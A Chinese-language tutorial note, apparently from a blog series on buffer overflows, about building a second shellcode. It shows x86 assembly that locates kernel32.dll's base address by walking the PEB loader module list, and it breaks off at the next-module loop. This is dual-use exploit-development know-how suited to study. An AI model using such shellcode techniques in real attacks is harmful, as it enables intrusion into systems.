buffer_overflow 第3章 筆記6 拼出我們第二個shellcode。

本節將是最後一步了!!!! 在第3章 筆記3 抓取kernel32.dll基址中寫了個自動抓取kernel32.dll的組合語言: 把他改寫成這樣: // KERNEL32_BASE 為標籤,我們的程式要從這個標籤開始執行。 -------------------------------------------------------------------------------------------------------------------------- KERNEL32_BASE: xor eax,eax //eax=0 大概是不想用EAX暫存器來指向TEB 所以把EAX變0 mov ebx,[fs:eax+0x30] //ebx = &(_PEB) mov ebx,[ebx+0x0c] //ebx = PEB->Ldr add ebx,0x1c //ebx = Ldr.InitializtionOrderModuleList KERNEL32_BASE_NEXT_MODULE: ...